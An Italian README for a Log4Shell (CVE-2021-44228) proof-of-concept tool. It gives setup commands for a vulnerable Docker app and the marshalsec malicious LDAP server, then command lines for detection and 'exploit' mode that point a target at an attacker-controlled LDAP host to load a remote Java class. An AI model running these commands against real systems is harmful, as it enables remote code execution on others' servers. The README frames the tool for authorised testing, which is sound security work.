Log4Shell

(CVE-2021-44228)

☠️ Log4Shell PoC (CVE-2021-44228)

Exploit di test per la vulnerabilità critica Log4Shell in Apache Log4j ≤ 2.14.1, che consente l'esecuzione remota di codice tramite iniezioni JNDI.

⚠️ Questo PoC è solo per scopi educativi e test controllati in ambienti autorizzati. Non utilizzarlo contro sistemi senza permesso esplicito.

Requisiti

• Python 3.x
• Java 8 o superiore
• marshalsec (per il server LDAP malevolo)
• Server HTTP (ad esempio, python3 -m http.server)
• Docker (opzionale per ambiente vulnerabile)

Ambiente di test locale (opzionale con Docker)

1. Esegui l'app vulnerabile:

   root@kitploit:~

   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
   

2. Accedi a: http://localhost:8080

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

Utilizzo

Modalità rilevamento passivo:

python3 main.py -u http://target.com -i burp.collab.net -m detect

Modalità intrusiva (richiede Exploit.class nel tuo HTTP):

python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit